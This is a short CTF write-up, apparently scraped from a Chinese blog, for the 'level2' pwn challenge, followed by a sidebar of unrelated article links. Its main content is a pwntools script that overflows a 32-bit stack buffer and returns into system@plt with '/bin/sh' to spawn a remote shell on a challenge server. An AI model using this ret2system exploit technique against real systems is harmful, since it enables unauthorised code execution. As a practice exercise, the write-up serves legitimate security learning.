当前位置:网站首页>PWN attack and defense world level2
PWN attack and defense world level2
2022-06-29 02:38:00 【Day-3】

First , Let's go through the standard process .
Run it .
Put in IDA in .


To write exp:
from pwn import *
context(os='Linux',arch="x86",log_level="debug")
content = 0
elf = ELF("Level2")
system_plt_addr = elf.plt["system"]
bin_sh_addr = next(elf.search(b"/bin/sh"))
def main():
if content == 1:
day3 = process("Level2")
else:
day3 =remote("111.200.241.244",56811)
payload = b'a' * (0x88 + 4) + p32(system_plt_addr)
payload = payload + b'aaaa' + p32(bin_sh_addr)
day3.sendlineafter("Input:\n",payload)
day3.interactive()
main()


get Flag.
边栏推荐
- Matrix eigenvalue and eigenvector solution - eigenvalue decomposition (EVD)
- Programmers whose monthly salary is less than 30K must recite the interview stereotype. I'll eat it first
- Use code binding DataGridView control to display tables in program interface
- table通过伪类实现 另类自适应
- How does sound amplify weak sounds
- Install kibana
- Install mysql5.7 and change the password
- 干货丨微服务架构是什么?有哪些优点和不足?
- 字符串属性练习
- 三角函数计算
猜你喜欢

Learning Tai Chi Maker - mqtt Chapter II (IX) test of this chapter

三角函数计算

sql连续登录问题

Have you learned the common SQL interview questions on the short video platform?

Day10 enumeration class and annotation

安装kibana

Handling method of occasional error reporting on overseas equipment

目标检测——ADAS实战

Some tests on complementary wasm environment

Project R & D, what are the free brain mapping tools that are easy to use
随机推荐
HashSet storing objects and how to not store the same objects
chrome浏览器关闭更新弹窗
高并发的理解与设计方案
【无标题】
【网络通信学习笔记】Socket.IO的搭建和部署
信息学奥赛一本通 1361:产生数(Produce) | 洛谷 P1037 [NOIP2002 普及组] 产生数
LabVIEW jump to web page
MySQL queries the data of today, yesterday, this week, last week, this month, last month, this quarter, last quarter, this year, last year
String method exercise
音响是如何把微弱声音放大呢
[untitled]
字符串长度
Which brokerage is safer and more convenient to open a stock account for big smart phones?
微信小程序自定义组件
东方财富股票开户是会有什么风险吗?东方财富开户安全吗
Differences between web testing and app testing
thinkphp5.1 runtime文件改成777权限了, 还是无法写入
Today's sleep quality record 82 points
e. Difference between target and e.currenttarget
Deploy redis high availability cluster